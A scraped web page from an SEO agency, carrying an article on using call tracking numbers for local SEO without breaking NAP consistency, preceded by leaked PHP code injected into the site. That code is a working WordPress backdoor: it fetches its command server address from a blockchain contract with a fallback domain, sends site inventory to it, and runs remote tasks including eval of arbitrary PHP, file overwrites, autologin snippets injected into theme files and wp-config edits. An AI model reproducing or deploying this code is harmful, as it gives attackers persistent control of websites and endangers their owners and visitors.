// nj_r9 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/customer/www/piggybankseo.com/public_html/wp-content/plugins/wp-helper-ef29e2/wp-helper-ef29e2.php', 'ctrl'=>'// nj_r9', 'vis'=>'// hm_ip', 'vis_func'=>'wp_syot53', 'vis_paths'=>array('/home/customer/www/piggybankseo.com/public_html/wp-content/plugins/wp-helper-ef29e2/wp-helper-ef29e2.php'), 'opt'=>'_wp_r203ivhr', ); $keys=array(); $keys['id']='h6u'; $keys['ver']='hl'; $keys['caps']='4gj'; $keys['tasks']='vsk'; $keys['interval']='g07'; $keys['ack_id']='9fs'; $keys['ok']='zk'; $keys['detail']='8a9'; $keys['inv']='jh1'; $keys['result']='pwm'; $hdr='X-YLU-Auth';$tok='F0nSFdIAQvt3Io3Cp-7nu1AvsTGZ6xMS-sEZSjaUvNU';$id='123ffcbda9f0ec24';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Call Tracking Local SEO for Small Businesses: Track Real Leads

Pay Only After You Rank

100% USA-Based

30 Keywords In 30 Days

No Contract Required

why choose us?

Pay Only After You Rank

30 Keywords In 30 Days

100% USA-Based

No Contract Required

Should Small Businesses Use Call Tracking Numbers for Local SEO?

A page 1 ranking looks great, but it doesn’t prove the phone rang. For many small businesses, the real win from local SEO is a call from someone ready to book, ask for pricing, or request service.

That is why call tracking gets so much attention. Used the right way, it shows which pages, campaigns, and Google Maps visits turn into real leads. Used the wrong way, it can muddy your local signals, so setup matters more than the tool itself.

Why call tracking matters when phone calls drive revenue

Local SEO often ends offline. A homeowner finds your business in Google Maps, taps the number, and calls. A shopper lands on a service page, then dials without filling out a form. If you only watch clicks and form fills, you miss a big part of the story.

For service businesses, that missing piece can be huge. Many call tracking platforms now include call recordings, transcripts, and source data, which makes it easier to see what drove the lead and whether it was worth your budget. If you want a plain-English overview of how call tracking numbers work, that guide is a solid starting point.

A middle-aged small business owner sits relaxed at a desk in a bright local shop office, viewing colorful graphs of incoming phone calls and local map markers for SEO traffic sources on a laptop screen, under warm natural daylight.

This matters even more if you prefer results-based SEO. Rankings are helpful, but they are not the finish line. You need proof that your local visibility turns into qualified calls. A simple 30-day SEO scorecard for leads helps you judge that quickly, especially when you want evidence instead of a vague monthly report. That is also why many owners think SEO “isn’t working” when calls are coming in but no one can prove where they started.

The call tracking local SEO debate usually sounds more dramatic than it is. Most small businesses are not deciding whether data is useful. They are deciding whether the data can be collected without hurting trust signals. In most cases, the answer is yes, as long as you keep your main business number consistent where Google expects it.

The real risk is bad setup, not the tracking number

The common fear is NAP consistency, your name, address, and phone number matching across the web. That fear is valid. If you replace your main number everywhere with random tracking numbers, you create mixed signals for Google and for customers.

However, call tracking does not hurt local SEO when you use it carefully. The safer method is simple: keep one primary number on your Google Business Profile, core citations, schema, and page source. Then use dynamic number insertion on the website so human visitors see a tracking number based on source, while search engines keep seeing the main number. Piggybank SEO’s guide to call tracking without breaking rankings explains this setup in more detail.

Keep one real phone number as your public anchor. Add tracking on top of it, not in place of it.

A quick comparison makes the difference clear:

PlaceSafe approachRisky approach
WebsiteDynamic number insertion for visitorsHard-coding different numbers site-wide
Google Business ProfileKeep the main business numberSwapping numbers often
Directory listingsUse the same primary numberLetting tracking numbers spread into citations

If you want an outside view on the same issue, this piece on whether call tracking is bad for SEO lands on the same point: the problem is misuse, not the concept.

Setup also affects reporting. If calls are not tied back to the landing page or traffic source, the numbers become noise. That is why clean GA4 and CRM tracking matter, especially in pay-for-performance SEO. When you only pay for results, you need a clear record of which calls came from organic search and which calls were actually worth something.

When small businesses should use call tracking numbers

For most local service companies, the answer is yes. If customers usually call before they buy, call tracking is one of the clearest ways to judge whether SEO is producing revenue. It is especially useful for plumbers, roofers, med spas, dentists, lawyers, and other businesses where one good phone call can be worth hundreds or thousands of dollars.

Top-down view of a clean office desk featuring an open laptop displaying a call tracking software dashboard with bar charts of calls by source like organic local SEO and Google Maps, a mirroring smartphone, coffee mug, and notepad.

Call tracking also helps you spot waste. You may learn that one location page drives strong calls, while another brings junk leads. Another report might show that Google Maps calls close better than blog traffic. Sometimes the bigger problem is missed calls during lunch or slow call handling after hours. In other words, better tracking often improves sales follow-up, not only SEO.

Still, it is not for everyone. An online-only store with few phone leads may not need it. A business that never answers the phone consistently should fix that before adding more tracking. Data cannot rescue a broken front desk. Start simple. You only need source data and call recording at first.

If you move forward, keep the rules simple:

  • Use one main business number as the canonical number.
  • Show tracking numbers on the website through dynamic swaps.
  • Tag qualified calls, not every call.
  • Review call quality, not only call volume.

A more detailed practical guide to SEO call tracking can help if you want to compare providers or setup options.

Small businesses should use call tracking numbers for local SEO when phone calls matter to the sale. They should avoid sloppy implementations that replace the main number across the web.

Clean setup protects your rankings. Better attribution protects your budget. And when you can tie search visibility to real calls, SEO becomes easier to trust.

Need Help? Get In Touch!

If you have questions about anything, please do not hesitate to contact us. All messages are responded to within 24 business hours (most within 1 business hour).

ANY QUESTIONS

Ready to Speak With a Marketing Expert

Contact Us

Our internet marketing experts are always available to assist you with any of your issues, needs or requests.

Launch Targeted Campaign

Our goal is to help clients plan, build, and execute their digital advertising campaigns using the best of human expertise

Achieve Lasting Growth

When you work with us, we want to be able to provide you with a unique service that helps your business grow, without having to invest a lot upfront.

Results-Based

We only start billing once we get you on page 1 of Google.

Affordable

Our monthly fees are made for small businesses.

Fast Results

Almost all of our clients get ranking within 1-2 months.

No Contract

We don't lock you in. All services are month-to-month.